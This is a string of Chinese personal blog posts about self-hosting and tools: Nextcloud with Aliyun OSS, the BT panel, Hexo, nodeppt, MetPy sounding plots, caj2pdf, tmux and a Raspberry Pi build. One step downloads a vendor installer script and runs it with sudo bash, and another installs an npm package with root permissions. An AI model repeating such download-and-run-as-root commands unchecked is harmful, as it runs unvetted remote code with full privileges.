参考阿里云ECS使用ossfs挂载OSS使用，centos7使用ossfs工具挂载阿里云oss\n上阿里云ossfs下载对应的包安装。\n在nextcloud目录下新建一个空文件夹，用来存放挂载到oss的文件。\n设置ossfs 1echo my-bucket:my-access-key-id:my-access-key-secret \u0026gt; /etc/passwd-ossfs 2chmod 640 /etc/passwd-ossfs 查询www的id编号 id www 这一步很重要，这个号就是下面ouid的号，如果没有这个选项，root用户会覆盖挂载文件本身www的所属组，造成上传文件失败。\n挂载OSS 1ossfs bucket名字 服务器上被挂目录绝对路径 -ourl=你的oss外链 -o umask=007 -o allow_other -ouid=(wwwid) -ogid=(wwwid) 成功的标志是如图，输入df -h后，而挂载目录还是属于www组\nNextCloud上接上OSS 要注意挂载的目录必须在nextcloud下。不在nextcloud目录下的怎么办，FTP嘛！\n安装onlyoffice 1sudo docker pull onlyoffice/documentserver 2sudo docker run --name onlyoffice -i -t -d -p PORT_NUMBER(9000):80 --restart=always onlyoffice/documentserver 3PORT_NUMBER为希望映射的外部端口这里我的为9000 有时在应用列表找不到配置项，还需要上传一个界面。onlyoffice配置界面然后在应用列表中启用，设置转播端口为9000即可。\n安装Note 上官网下载安装包上传app文件夹解压，刷新浏览器应用列表启用即可。\n他还有安卓客户端，可以设置分类，下级目录分隔是/号。理论上是无限子文件夹，不过建议不超过三级。在右上角选择分类即可。笔记支持Markdown语法，不过数学公式无法渲染，table的渲染只在web端有效，没有剪藏功能。即使这样，还是要用啊，毕竟是自己一手搭建的，完全免费。对于为知笔记中的迁移，在其目录下有笔记文档，.wiz文件可以用浏览器打开，然后手动复制到自己的NextCloud-Note下，暂时没有大批量迁移的方案。\n安装Markdown Edit NextCloud17上安装有点问题，还在已经有人填坑了。\nhttps://github.com/icewind1991/files_markdown/issues/135\n1cd /path/to/nextcloud/apps 2wget https://github.com/nextcloud/files_texteditor/archive/v17.0.0.tar.gz 3tar -xzf v17.0.0.tar.gz 4mv files_texteditor-17.0.0 files_texteditor 5find files_texteditor/ -type f -print0 | xargs -0 chmod 640 6find files_texteditor/ -type d -print0 | xargs -0 chmod 750 7sudo chown -R \u0026lt;webserver user\u0026gt;:\u0026lt;webserver user\u0026gt; files_texteditor 8rm v17.0.0.tar.gz 以上用到的主要参考教程：\nhttps://docs.nextcloud.com/server/17/admin_manual/installation/source_installation.html#example-installation-on-ubuntu-18-04-lts-server https://blog.csdn.net/Maggie_up/article/details/83310021 https://www.orgleaf.com/1704.html https://blog.csdn.net/qq_22870837/article/details/83346640 https://blog.csdn.net/chn_sdn/article/details/81634951 https://blog.csdn.net/qq_36361250/article/details/84766179 https://help.aliyun.com/document_detail/32196.html https://github.com/ONLYOFFICE/onlyoffice-owncloud\n其他 本站炫酷的Hexo主题 Windows端上传图床工具，支持阿里云OSS，免费工具，丑但人狠话不多 宝塔小程序发布 我的博客的.md文件就是用了FTP，与电脑端同步，速度超快的说，而且Nextcloud还有Markdown Edit插件，编写博客内容挺方便的，这个发布嘛，宝塔有神器！ 宝塔小程序的计划任务直接使用hexo命令会报错误commond not ... https://www.cnblogs.com/Ghost-bird/p/11237208.html\n上面这个帖子指出了是环境配置问题。\n解决方案：\n1which hexo 1#!/bin/bash 2SHELL=/bin/sh 3PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin:你的Hexo执行目录 4export PATH 5hexo g -d --cwd /www/wwwroot/你的Hexo博客目录 ","date":"2019-11-01T23:29:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2019/11/03/e6b46dd15e86e.png","permalink":"/post/%E4%B8%A2%E6%8E%89%E4%B8%BA%E7%9F%A5%E7%AC%94%E8%AE%B0%E7%94%A8nextcloud/","title":"丢掉为知笔记用Nextcloud，不用hexo-admin也能实现一键发布"},{"content":"几个月前偶然看到NodePPT的霸气标语 U work so hard, but 干不过 write PPTs\n当时觉得挺好玩的，后来在自己的Windows笔记本上安装了，效果也确实不错，但是在Ubuntu服务器上安装就老报错。后来就用了Windows server，安装倒是没问题，运行也没有错误，就是windows的服务器的话比较占空间吧。整个系统装下来20多Gl了，我的阿里云服务器也就40级G空间。 后来,我的Wordpress崩了之后，整个服务器也受到了攻击，总之就是宕机了很长时间，最近才开始想要重新说起来弄一下。朋友推荐用Hexo，我看了效果确实也不错，就想搞一哈。 接着就是手机上记笔记的软件，我之前一直用的是印象笔记，它后来收费越来越贵，而且同步速度也越来越慢，渐渐就不怎么用了。后来就一直在找类似的产品。看到为知笔记的时候发现它提供私有云Docker，而且5人以下是免费的。就个人用的话自己建一个服务器，就不需要充会员费。你出的就是服务器费用，能买多大服务器空间你的笔记空间有多大。要是在自己笔记本上跑就是不要钱了。我觉得为知笔记这点做的挺不错。像学生的话，可以用学生证去阿里云认证，买学生价优惠的，9块9一个月的服务器，也就1核2G，40G的空间，如果还要再加点OSS服务，按量付费或者是包年包月也不是很贵。嗯，总之就想把三个弄一下试试。 最先我是在换了ubuntu系统之后先弄Docker就是先跑了wiz，试了可以用。但是之后安装Node和宝塔面板什么的，错误就比较多，配置环境总是需要配过来配过去了，就把Docker环境就搞乱了。所以在初始化n多次磁盘之后，终于我找到了一个路子，先配置node环境，然后安装那个BT面板，接着Hexo，最后WizServer就OK了。 唯一需要注意的是Node版本选择10.16.0！\nNodePPT 不要使用默认的sudo apt-get install node这样安装的版本不够，可以参照CentOS下nodeppt的安装与使用手动编译安装Nodejs环境，下载Node.tar.gz，版本选择v10.16.0。 10.16.0是个多么痛彻的数字。看官方Github下的issue就知道了。\n之后还要安装的Hexo，官方文档要求Node在10.0以上，我个人只实验了10.16.0这个版本可以，11+，12+的版本不行。\n之后在npm install -g nodeppt还会遇到问题，官方的issue下有几个可行的解决方案。\n输完这条命令我的就装上了，至于其他的我已经不想管了。一下是上述截图的网址，如果有问题也可以到官方的issue下找找解决方案，我发现总有人在我之前已经把坑填好了。\n1npm install -g nodeppt --unsafe-perm=true --allow-root https://github.com/ksky521/nodeppt/issues/242#issuecomment-491014611 https://github.com/ksky521/nodeppt/issues/265 https://nodejs.org/dist/ https://blog.csdn.net/a_jie_2016_05/article/details/82117704 https://github.com/ksky521/nodeppt/issues/223 https://github.com/ksky521/nodeppt/issues/256\n我这里有个写好的作业可以给大家实验一下功能好不好用，使用\n1nodeppt build SSTQT.md 2nodeppt server SSTQT.md 然后就可以在本机的对应端口查看效果了，server之后会自己在Terminal上显示端口的。若传到服务器的目录下，只需要build就行，会自动生成一个dist目录，下面有.html文件，让网站运行目录定义到这个目录下即可。\nBT 管理网站的话，国产的宝塔面板是一个非常好用的工具。ubuntu下直接在终端运行一下命令即可自动安装。\n1wget -O install.sh https://download.bt.cn/install/install-ubuntu_6.0.sh \u0026amp;\u0026amp; sudo bash install.sh 需要注意的是，在阿里云控制台-\u0026gt;实例-\u0026gt;安全组，开放相应的端口。 之前说的指定网站运行目录就是在这里设置。\n它还提供SSL认证，在阿里云买的域名申请和认证SSL证书都比较快，也是免费的。有了这个东东，你的网站就会被挂上一把小绿锁。\n啊，突然乱入的小绿锁小蓝。\n如果有其他的云储存的话，记得安装相应插件，可以在任务列表里添加备份任务，备份网站到云储存，再也不怕删库跑路了！嚯嚯嚯！\nHexo 安装Hexo基本没什么问题，按官方的来就可以。\n1npm install -g hexo-cli 我自己的找了Ocean这个主题，稍微修改了一下首页的图片不要视频。其他的主题作者写的很详细了，操作都没什么问题。 这里推荐一个文章加密插件\nhttps://github.com/MikeCoder/hexo-blog-encrypt/blob/master/ReadMe.zh.md\nWizserver Windows，Mac上的Docker是可以在图形界面指定大小的，Linux只能用命令行了。有的机器不支持限制大小，那么网络搜索功能就不能用了，其实同步了之后用本地也一样。\n1docker run --name wiz -it -m 4096M -d -v ~/wizdata:/wiz/storage -v /etc/localtime:/etc/localtime -p \u0026lt;自己指定个端口\u0026gt;:80 -e SEARCH=true wiznote/wizserver Windows的PC端登陆选择网络代理填自己服务器的公网ip和端口，安卓手机端上点右上角链接选择“企业私有云”。它会先找一下附件有没有为知盒子，没有就让你在第三行输入服务器ip和端口。 私有云除了不能用剪藏，不能分享微信，QQ这样需要第三方API的服务，其他大部分功能都能正常使用，同步速度超快的说。\n","date":"2019-10-12T23:39:16Z","image":"https://bugatii100peaglepics.oss-cn-qingdao.aliyuncs.com/2019-5-2019-12/2019-10/UbuntuNodepptHexoWiz/Snipaste_2019-10-12_22-15-33.png","permalink":"/post/ubuntu-%E5%AE%89%E8%A3%85node-10-16-%E8%B7%91-nodeppt-%E5%8A%A0hexo%E5%8D%9A%E5%AE%A2%E5%86%8D%E6%9D%A5%E4%B8%AA%E4%B8%BA%E7%9F%A5%E7%AC%94%E8%AE%B0%E7%A7%81%E6%9C%89%E4%BA%91/","title":"Ubuntu 安装Node 10.16 跑 Nodeppt 加Hexo博客再来个为知笔记私有云"},{"content":"Siphon 还提供了 Integrated Global Radiosonde Archive （IGRA2）为数据源的数据管道。在修改完uwyo的代码后，顺便来看看另一个数据集的。使用的话我感觉还是怀俄明哪个比较好，它更新快，基本上国际时间00,12时一过半小时就可以访问最新的数据；而且国内访问也快（不翻墙也能使用）；绘图代码简单易懂，也便于气象工作者根据自己的需要再次修改。IGRA2的更新比较慢，反正是3月份这回的中国区基本都是提示无数据；访问也很慢，不清楚是墙的原因还是网站本身技术的原因，和Matlab启动速度有的一拼；代码比怀俄明的那个稍微复杂些，因为他提供的数据参量更多，像位温，假位温这样的都有，怀俄明的只有一个露点。需要精细化比对探空数据的可能需要IGRA2的数据，需要快速分析天气的更喜欢怀俄明。\nIGRA2 Upper Air Data Request 官网文档给出了具体用法，和怀俄明的那个模块很相似\n带入模块 from datetime import datetime from siphon.simplewebservice.igra2 import IGRAUpperAir 设置站好和时间 date = datetime(2014, 9, 10, 0) station = \u0026#39;USM00070026\u0026#39; 发送请求，获取数据 df, header = IGRAUpperAir.request_data(date, station) 这里有两点需要注意\n站点编号。IGRA2目前收录了2700多个站点的数据（如上图密密麻麻的红点），为了便于管理，给各个站点都做了统一编号，这个编号的组成大约是’国家代码‘+’000‘+’原站点编号‘。这里的原站点编号就是怀俄明网站上各个站点的5位数编号，像青岛原本用ZSQD表示的就是54857，四位字母编号一般是省市级的站点才有。而IGRA2官方也提供了一份详细的全球站点统一编号列表,包含每个站点的编号，位置（经纬度），网络关联，站点名称和记录周期。\n获取格式中的header。header表示的相当于nc文件的头文件，用于描述这段数据的一些特征。而df才是爬到的数据。\n而IGRA2的数据也与怀俄明的不一样\ndfIGRA2.keys() --- Out[26]: Index([\u0026#39;pressure\u0026#39;, \u0026#39;reported_height\u0026#39;, \u0026#39;calculated_height\u0026#39;, \u0026#39;temperature\u0026#39;, \u0026#39;temperature_gradient\u0026#39;, \u0026#39;potential_temperature\u0026#39;, \u0026#39;potential_temperature_gradient\u0026#39;, \u0026#39;virtual_temperature\u0026#39;, \u0026#39;virtual_potential_temperature\u0026#39;, \u0026#39;vapor_pressure\u0026#39;, \u0026#39;saturation_vapor_pressure\u0026#39;, \u0026#39;reported_relative_humidity\u0026#39;, \u0026#39;calculated_relative_humidity\u0026#39;, \u0026#39;u_wind\u0026#39;, \u0026#39;u_wind_gradient\u0026#39;, \u0026#39;v_wind\u0026#39;, \u0026#39;v_wind_gradient\u0026#39;, \u0026#39;refractive_index\u0026#39;, \u0026#39;date\u0026#39;], dtype=\u0026#39;object\u0026#39;) ========================== dfuwyo.keys() --- Out[27]: Index([\u0026#39;pressure\u0026#39;, \u0026#39;height\u0026#39;, \u0026#39;temperature\u0026#39;, \u0026#39;dewpoint\u0026#39;, \u0026#39;direction\u0026#39;, \u0026#39;speed\u0026#39;, \u0026#39;u_wind\u0026#39;, \u0026#39;v_wind\u0026#39;, \u0026#39;station\u0026#39;, \u0026#39;station_number\u0026#39;, \u0026#39;time\u0026#39;, \u0026#39;latitude\u0026#39;, \u0026#39;longitude\u0026#39;, \u0026#39;elevation\u0026#39;], dtype=\u0026#39;object\u0026#39;) 比较麻烦的是IGRA2的数据没有露点的数据，而这个数据有是绘图必须的。好在Metpy库提供了calc的计算模块，专门处理大气科学上的这些乱七八糟的计算。这里用metpy.calc.dewpoint这个功能实现从水汽分压计算露点。官方也给出了一个示例，可以直接用。虽然功能上说是用水汽分压计算，但是只要有表面压强就可以计算了。\nmixing = 10 * units(\u0026#39;g/kg\u0026#39;) e = mpcalc.vapor_pressure(list(df[\u0026#39;pressure\u0026#39;])* units.mbar, mixing) df[\u0026#39;dewpoint\u0026#39;] = mpcalc.dewpoint(e) 最后还有风速和风向这两个参数没有解决，calc也提供了模块搞定这个问题。怀俄明的代码是用风速和风向算u,v分矢量，而IGRA2恰好反过来。\ndf[\u0026#39;u_wind\u0026#39;], df[\u0026#39;v_wind\u0026#39;] = mpcalc.wind_components(df[\u0026#39;speed\u0026#39;],np.deg2rad(df[\u0026#39;direction\u0026#39;])) --- df[\u0026#39;speed\u0026#39;]=mpcalc.wind_speed(df[\u0026#39;u_wind\u0026#39;], df[\u0026#39;v_wind\u0026#39;]) df[\u0026#39;direction\u0026#39;]=mpcalc.wind_direction(df[\u0026#39;u_wind\u0026#39;], df[\u0026#39;v_wind\u0026#39;]) calc还有其他功能，可以查阅官方文档了解。\n添加如下代码：可以使程序运行，但是风向的转换似乎有问题，而官方的calc的包也总是报错，暂时不管了，先这么滴吧，还是用怀俄明的数据吧。\nf, header= IGRAUpperAir.request_data(date, station, derived=True) df[\u0026#39;speed\u0026#39;]=mpcalc.wind_speed(df[\u0026#39;u_wind\u0026#39;], df[\u0026#39;v_wind\u0026#39;]) def mydirection(u,v): theta=np.arctan2(u, v) mydirection=np.rad2deg(theta)+180 return mydirection df[\u0026#39;direction\u0026#39;]=mydirection(df[\u0026#39;u_wind\u0026#39;], df[\u0026#39;v_wind\u0026#39;]) mixing = 10 * units(\u0026#39;g/kg\u0026#39;) e = mpcalc.vapor_pressure(list(df[\u0026#39;pressure\u0026#39;])* units.mbar, mixing) df[\u0026#39;dewpoint\u0026#39;] = mpcalc.dewpoint(e) ","date":"2019-10-12T00:05:29Z","image":"https://www.ncdc.noaa.gov/sites/default/files/styles/full_page_width/public/igra_stationmap.jpg?itok=j0biEjcy","permalink":"/post/siphon%E4%BD%BF%E7%94%A8igra2%E4%B8%BA%E6%95%B0%E6%8D%AE%E6%BA%90%E7%94%BB%E6%8E%A2%E7%A9%BA%E5%9B%BE/","title":"Siphon使用IGRA2为数据源画探空图"},{"content":"文章很长，可以直接看末尾的用法总结。\n参考：\nMetpy官方文档\nMetpy Skew-T Tutorials\nMetpy Skew-T Complex Layout\nSiphon Wyoming Upper Air Data Request\n用于天气绘图的Metpy包更新（0.8版本）了，他们要逐渐抛弃Python2.X，转到Python\u0026gt;=3.6的版本上。所以，之前（越2018年6月以前，0.7版本）的一些脚本就无法使用了。在大气科学专业，我们主要使用 Metpy 绘制以怀俄明大学高空探测数据为基础的斜-T图(Skew-T)。受更新影响，原本的 upperair_sounding.py脚本也有改动。\n新旧MEtoy的改动 老版本的第17~41行为：\nfrom datetime import datetime import matplotlib.pyplot as plt from mpl_toolkits.axes_grid1.inset_locator import inset_axes import numpy as np import metpy.calc as mpcalc from metpy.io import get_upper_air_data from metpy.plots import Hodograph, SkewT ######################################################################### # Getting Data # ------------ # # We will download data from the # `University of Wyoming sounding data page \u0026lt;http://weather.uwyo.edu/upperair/sounding.html\u0026gt;`_ # , which has an extensive archive of data available, as well as current data. # # In this case, we will download the sounding data from the Veterans Day # tornado outbreak in 2002 by passing a ``datetime`` object and station name to the # ``get_upper_air_data`` function. dataset = get_upper_air_data(datetime(2018, 5, 7, 0), \u0026#39;ZSQD\u0026#39;) ########################################################################## 而新版本的第18～47行为：\nimport matplotlib.pyplot as plt from mpl_toolkits.axes_grid1.inset_locator import inset_axes import numpy as np import pandas as pd import metpy.calc as mpcalc from metpy.cbook import get_test_data from metpy.plots import Hodograph, SkewT from metpy.units import units ######################################################################### # Getting Data # ------------ # # Upper air data can be obtained using the siphon package, but for this tutorial we will use # some of MetPy\u0026#39;s sample data. This event is the Veterans Day tornado outbreak in 2002. col_names = [\u0026#39;pressure\u0026#39;, \u0026#39;height\u0026#39;, \u0026#39;temperature\u0026#39;, \u0026#39;dewpoint\u0026#39;, \u0026#39;direction\u0026#39;, \u0026#39;speed\u0026#39;] df = pd.read_fwf(get_test_data(\u0026#39;nov11_sounding.txt\u0026#39;, as_file_obj=False), skiprows=5, usecols=[0, 1, 2, 3, 6, 7], names=col_names) df[\u0026#39;u_wind\u0026#39;], df[\u0026#39;v_wind\u0026#39;] = mpcalc.wind_components(df[\u0026#39;speed\u0026#39;], np.deg2rad(df[\u0026#39;direction\u0026#39;])) # Drop any rows with all NaN values for T, Td, winds df = df.dropna(subset=(\u0026#39;temperature\u0026#39;, \u0026#39;dewpoint\u0026#39;, \u0026#39;direction\u0026#39;, \u0026#39;speed\u0026#39;, \u0026#39;u_wind\u0026#39;, \u0026#39;v_wind\u0026#39;), how=\u0026#39;all\u0026#39;).reset_index(drop=True) ########################################################################## 对比可以发现，用于绘图的模块基本没变，而是用于读取数据的模块变了，无论是库还是代码调用方法。\nfrom metpy.io import get_upper_air_data --- from metpy.cbook import get_test_data dataset = get_upper_air_data(datetime(2018, 5, 7, 0), \u0026#39;ZSQD\u0026#39;) --- df = pd.read_fwf(get_test_data(\u0026#39;nov11_sounding.txt\u0026#39;, as_file_obj=False), skiprows=5, usecols=[0, 1, 2, 3, 6, 7], names=col_names) 而从官方说明文档中得知，获取数据这个功能被独立出来，用Siphon这个库实现。让我们来看看Siphon时何方神圣？搜索Siphon文档得知，这货就是个专门爬气象数据的包。他提供\nnetCDF 格式的NCSS的数据 NDBC 的浮标数据(海洋人的最爱) 高空探测数据，怀俄明大学数据源(Wyoming data)和IGRA2数据源（Integrated Global Radiosonde Archive） 之前我喜欢用怀俄明大学的数据，所以这次就来看看要怎么用怀俄明大学的数据画Skew-T图。\n分析新版本的数据读取的语句\ndf = pd.read_fwf(get_test_data(\u0026#39;nov11_sounding.txt\u0026#39;, as_file_obj=False), skiprows=5, usecols=[0, 1, 2, 3, 6, 7], names=col_names) 得知，nov11_sounding.txt 是官方内置的一个示例数据文件，这行代码主要是用pandos的功能读取一个列表数据。\n如果能用Siphon下载同格式的数据的话，那么只要改改读取的文件名就可以了。 我们看一下这个神奇的txt文件在哪里 运行一下脚本\npython3 upperair_soundings.py --- /home/bugatti/anaconda3/lib/python3.6/site-packages/pooch/core.py:260: UserWarning: Downloading data file \u0026#39;nov11_sounding.txt\u0026#39; from remote data store \u0026#39;https://github.com/Unidata/MetPy/raw/v0.10.0/staticdata/\u0026#39; to \u0026#39;/home/bugatti/.cache/metpy/v0.10.0\u0026#39;. action, fname, self.base_url, str(self.path) 923.0963220202037 hectopascal 15.595422727825456 degC /home/bugatti/anaconda3/lib/python3.6/site-packages/pint/quantity.py:1377: UnitStrippedWarning: The unit of the quantity is stripped. warnings.warn(\u0026#34;The unit of the quantity is stripped.\u0026#34;, UnitStrippedWarning) 能够成功出图，然后看到命令行窗口的第二行显示这个文件在\u0026rsquo;/home/bugatti/.cache/metpy/v0.10.0\u0026rsquo; 这个目录里，bugatti是我的用户名，换在你的电脑中应该也是类似的路径。 打开这个文件格式如下：\n----------------------------------------------------------------------------- PRES HGHT TEMP DWPT RELH MIXR DRCT SKNT THTA THTE THTV hPa m C C % g/kg deg knot K K K ----------------------------------------------------------------------------- 1000.0 -12 978.0 180 20.4 16.5 78 12.22 180 16 295.4 330.7 297.6 964.1 305 22.2 17.1 73 12.92 185 29 298.5 336.3 300.8 954.0 397 23.6 17.6 69 13.45 188 35 300.8 340.5 303.2 931.0 610 22.5 16.5 69 12.84 195 49 301.7 339.8 304.1 925.0 667 22.2 16.2 69 12.68 200 48 302.0 339.7 304.3 898.9 914 20.2 14.5 70 11.68 205 49 302.4 337.2 304.5 867.6 1219 17.7 12.4 71 10.54 215 52 302.9 334.4 304.8 850.0 1396 16.2 11.2 72 9.92 220 55 303.1 332.9 304.9 这个和在怀俄明无线电探空数据网站 的数据格式一模一样（毕竟就是从这爬取的数据嘛）\nSiphon的文档的说明 导入读取怀俄明大学数据读取模块 from datetime import datetime from metpy.units import units from siphon.simplewebservice.wyoming import WyomingUpperAir 设置要获取的地点和时间 date = datetime(2017, 9, 10, 6) station = \u0026#39;MFL\u0026#39; 发送请求，拉取数据 df = WyomingUpperAir.request_data(date, station) 就是这么简单粗暴！\n唯一需要注意的是时间格式的设置 在Spyder中运行上述代码，获取数据，在变量窗口查看数据值\n与怀俄明大学网站的数据列表作对比 发现 (2017, 9, 10, 6)表示的就是2017年9月10日6时。6所在位置的参数只有(0, 6, 12)三个数字可选。这里使用的是世界时，0和12也就是中国地区早八晚八时放气球，美国迈阿密(站号MFL，时区西五区)大概是晚七早七，6属于补测的时间，一般是由于天气过程复杂，或者早上的数据没测好才会有补测的6时。\n回到数据读取问题上来，示例文件中的语句是把一个写好的txt文件读取为类似nc文件那样带变量描述的值的一个东西。\ndf = pd.read_fwf(get_test_data(\u0026#39;nov11_sounding.txt\u0026#39;, as_file_obj=False), skiprows=5, usecols=[0, 1, 2, 3, 6, 7], names=col_names) 而siphon爬去网络数据就直接是这样的格式，所以如果要改为自己想要的某天日期也十分简单。就是把示例文件中的语句注释掉，然后添加如下代码：\n#df = pd.read_fwf(get_test_data(\u0026#39;nov11_sounding.txt\u0026#39;, as_file_obj=False), # skiprows=5, usecols=[0, 1, 2, 3, 6, 7], names=col_names) from datetime import datetime from siphon.simplewebservice.wyoming import WyomingUpperAir date = datetime(2019, 3, 25, 0) station = \u0026#39;MFL\u0026#39; df = WyomingUpperAir.request_data(date, station) 运行得到本文写作当天早八点的探空图。嗯，看样子多云天还得持续几天。\n最后添加一些使代码更容易使用的语句： print(\u0026#39;欢迎使用 Metpy 和 Siphon 获取怀俄明大学无线电探空数据，使用方法如下：\u0026#39;) print(\u0026#39;1.输入’年月日时‘和站号，如‘2019032500ZSQD’，中间无间隔。\u0026#39;) print(\u0026#39;2.输入图片保存路径，回车默认脚本所在文件夹。\u0026#39;) print(\u0026#39;提示：探空时段采用世界时，一般为00或12,06为补测数据，请自行换算时区。\u0026#39;) print(\u0026#39; 中国区常用站号：北京-ZBAA，青岛-ZSQD，昆明-ZPPP，南京-ZSNJ\u0026#39;) dateNum=input(\u0026#39;请输入日期和站号\u0026#39;) figpath=input(\u0026#39;请输入保存路径\u0026#39;) print(\u0026#39;正在获取探空图\u0026#39;,dateNum[:4], dateNum[4:6], dateNum[6:8], dateNum[8:10],dateNum[10:]) print(\u0026#39;保存路径为\u0026#39;,figpath) 使用截图 ： 点击下载代码\n(PS:Siphon的意思是‘虹吸管’，很适合它，吸数据的虹吸管)\n","date":"2019-10-11T23:53:28Z","image":"https://bugatii100peaglepics.oss-cn-qingdao.aliyuncs.com/2019-3/MetpyNotes/HowtouseMeypySiphon.png","permalink":"/post/metpy%E6%96%B0%E7%89%88%E5%8A%9F%E8%83%BD%E4%B8%8B%E8%BD%BDtlnp%E5%9B%BE%E8%AE%BE%E7%BD%AE/","title":"Metpy新版功能下载TLnP图设置"},{"content":"不装wine 和　cajView.exe，怎么在Ubuntu 上看　caj 文件？ 我一直觉得　caj 是个奇葩的文件格式，　caj 格式的论文看起来贼麻烦，我又不想用　cajview ,也不想在　Ubuntu 上安装　wine。　以前我遇到　caj 论文要么找同名的　pdf　文件，要么直接弃了。不能在　Linux 上查看的论文不是好论文。（就是这么自信）\n然而，最近有一篇学术论文，不用不行，而恰好只有　caj 。 在我犹豫着要不要换系统的时候，找到了救星。我不看caj，我把　caj 转成 pdf 看。 caj2pdf 首先安装两个依赖\npip3 install PyPDF2 sudo apt install mupdf-tools 克隆下载caj2pdf仓库。\ngit clone git@github.com:JeziL/caj2pdf.git 使用\ncaj2pdf show test.caj # 显示文件信息 caj2pdf convert test.caj -o output.pdf　# 转换成pdf ","date":"2019-10-11T23:38:17Z","permalink":"/post/ubuntu%E4%B8%8Acaj%E8%BD%ACpdf/","title":"Ubuntu上caj转pdf"},{"content":"点击下载工具\n##工具描述 可按日批量下载高知大学气象网站保存的云图\n使用方法 终端输入：\n./dlcloudAlter.sh Year Mon Day 如：\n./dlcloudAlter.sh 2018 06 01 ","date":"2019-10-11T23:07:21Z","permalink":"/post/%E9%AB%98%E7%9F%A5%E5%A4%A7%E5%AD%A6%E4%B8%9C%E5%8D%97%E4%BA%9A%E4%BA%91%E5%9B%BE%E4%B8%8B%E8%BD%BD%E5%B7%A5%E5%85%B7/","title":"高知大学东南亚云图下载工具"},{"content":"下载 sudo apt-get install tmux 卸载sudo apt-get remove tmux\n配置： 在主目录下vi ~/.tmux.conf 加入如下代码\nunbind C-b #删除快捷键Ctrl+b set -g prefix C-a #启用快捷键Ctrl+a bind -n M-Left select-pane -L bind -n M-Right select-pane -R bind -n M-Up select-pane -U bind -n M-Down select-pane -D #启用方向键切换pane set -g default-terminal \u0026#34;screen-256color\u0026#34; #支持全色，与终端颜色一致 # panes 面板的配色 set -g pane-border-bg colour234 set -g pane-border-fg colour234 set -g pane-active-border-bg colour232 set -g pane-active-border-fg colour223 # statusbar 分割栏的配色 set -g status-justify centre set -g status-bg colour235 set -g status-fg colour248 set -g status-attr dim # window 窗口配色 setw -g window-status-current-fg colour223 setw -g window-status-current-bg colour237 setw -g window-status-current-attr bold setw -g window-status-current-format \u0026#34;#I:#W#F\u0026#34; 然后，保存退出，终端中运行 tmux source-file .tmux.conf ，再重新打开。\n使用： 打开终端，输入tmux 垂直分屏Ctrl + a + % ,水平分屏Ctrl + a + \u0026quot; 移动面板边框 Ctrl + a(长按)+ 方向键 切换面板 Ctrl + a(短按)+ 方向键 ，或 Ctrl + a + q ，显示面板序号，输入数字切换(动作要快，在数字消失之前切换) ctrl + a + [ 激活鼠标滚屏，q退出滚屏 ctrl + a + {向前置换当前面板 ctrl + a + z 最大化当前面板，再按一次还原 ctrl + a + ? 查看所有切换键\n因为使用tmux 就是为了不用鼠标切换窗口，所以我没有加入鼠标分屏的配置。关于tmux的配置可参考\ntmux Tutorial — Split Terminal Windows Easily\nLinux终端复用神器-Tmux使用梳理\ntmux的使用方法和个性化配置\n优雅地使用命令行：Tmux 终端复用 | Harttle Land\nTmux 速成教程：技巧和调整 - 文章 - 伯乐在线\n","date":"2019-10-11T23:02:00Z","image":"https://bugatii100peaglepics.oss-cn-qingdao.aliyuncs.com/18-10-9/32733422.jpg","permalink":"/post/tmux%E9%85%8D%E7%BD%AE/","title":"Tmux配置"},{"content":"女王节前夕做活动，卖树莓派的淘宝店家做活动，又在盆友的鼓励下剁手买了一个派。245元，有一个3代B型的派，一根带插头的充电线，一个需要自己组装的透明外壳，散热片，小风扇，就没了。是的，没有屏幕。我这里的条件也不太乐观，一台没有网线接口的超薄笔记本电脑，一根可以连上学校路由器的网线，和需要认证的校园网。\n一开始我也是参考网线直连的方式的，借用同学的Win10电脑，参考\n树莓派 Raspberry Pi 3 无显示器安装\n让树莓派说出自己的IP地址\n树莓派新手入门教程\n没有显示器情况下，安装和使用树莓派\n等网络教程，我还特地去买了一个转接口。但都失败了,我没法用网线链接树莓派，眼看到嘴的肥肉就是吃不到，心里很不甘。更重要的是心疼钱，穷学生省吃俭用赞个钱买派，现在却连不上，钱白花了！网络教程不是有显示屏就是有网线有路由器，但我都买不起（网线还是买的很心疼的），别人一开局就是橙装，我开局就一个派，裸裸的派。好在翻阅网络教程的时候发现，穷人不止我一个，参考\n树莓派如何完全无头(无屏无网线无键盘鼠标)安装\n无显示器无路由器只凭手机登陆树莓派\n我也成功连上了我的派。好了，下面是装机日记，菜鸟第一次装，还有许多不明白的地方，请高手赐教。\n组装pi 这里有个好笑的地方，一开始我以为这个壳就是磨砂的，直到和我一起买的朋友问我你怎么不把膜撕掉？\n假装是磨砂的\n撕膜后\n撕膜也是一个技术活，男生请先养一养指甲。\n撕完后开始组装：先稍微粘贴散热片，然后对其底部外壳，稍微固定底部螺丝（先松一点后面再上紧）\n注意对齐散热片孔和TF卡孔，还有底部四个螺丝。\n然后，组合侧板，注意先组合孔比较多的那个。\n这里螺丝不上紧，因为这里有几个孔可能因为外壳做工问题，并不是完美契合。如果先上紧，可能会导致孔对不齐。\n然后，组装另一面侧板和上板，接入风扇。组装如上图，侧板有一个孔，用来做上板翻开的轴，要对齐了，风扇接角是向外一排，从这个角度看，左边空一个脚，红左黑右。\n这里经朋友提醒，我上错了透明垫环。我之前认为垫环是为了防止电路与金属螺母接触的，所以透明垫环垫在了上面；但朋友说这是为了防止损坏板子下面的焊脚而垫的，所以应该垫在下面。所以我拆了又重新装了一遍，有两个地方的螺丝手指伸不进去，很难上紧；所以，你需要一套螺丝刀（包含各种刀口的）和一把电工钳。玩硬件，可以没有派，但是不能没有螺丝刀和电工钳，如果你还没有，就快去买一副吧，文具店或者五金店都买得到。电工钳记得买一个直头的，一个弯头的。\n然后，拧紧螺丝。\n安装风扇\n检查开合是否正常。\n组合短的侧板，注意有耳朵突出的是向下的，耳朵凸向底板。\n插入已烧好的TF卡，检查一下，没问题就开始接网线。\n（这一步是需要网线直连的时候，我后来没有用网线链接，所以不用这一步了）\n接上电源就开机了。\n烧录系统 我是上论坛下载的可直接SSH登录的系统\n树莓派可直接远程系统 